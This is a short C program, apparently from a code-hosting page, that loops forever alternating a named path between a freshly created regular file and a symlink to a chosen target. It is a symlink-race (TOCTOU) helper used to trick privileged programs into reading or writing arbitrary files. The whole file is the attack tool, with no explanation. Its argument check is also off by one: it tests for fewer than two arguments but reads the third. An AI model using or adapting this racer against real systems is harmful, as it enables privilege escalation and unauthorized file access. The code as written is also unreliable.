20 lines
414 B
C
20 lines
414 B
C
#include <fcntl.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
|
|
int main(int argc, char **argv) {
|
|
if (argc < 2) {
|
|
fprintf(stderr, "%s: <file> <target>\n", argv[0]);
|
|
return 1;
|
|
}
|
|
const char *file = argv[1];
|
|
const char *target = argv[2];
|
|
int fd = -1;
|
|
while (1) {
|
|
unlink(file);
|
|
fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0777);
|
|
close(fd);
|
|
unlink(file);
|
|
symlink(target, file);
|
|
}
|
|
}
|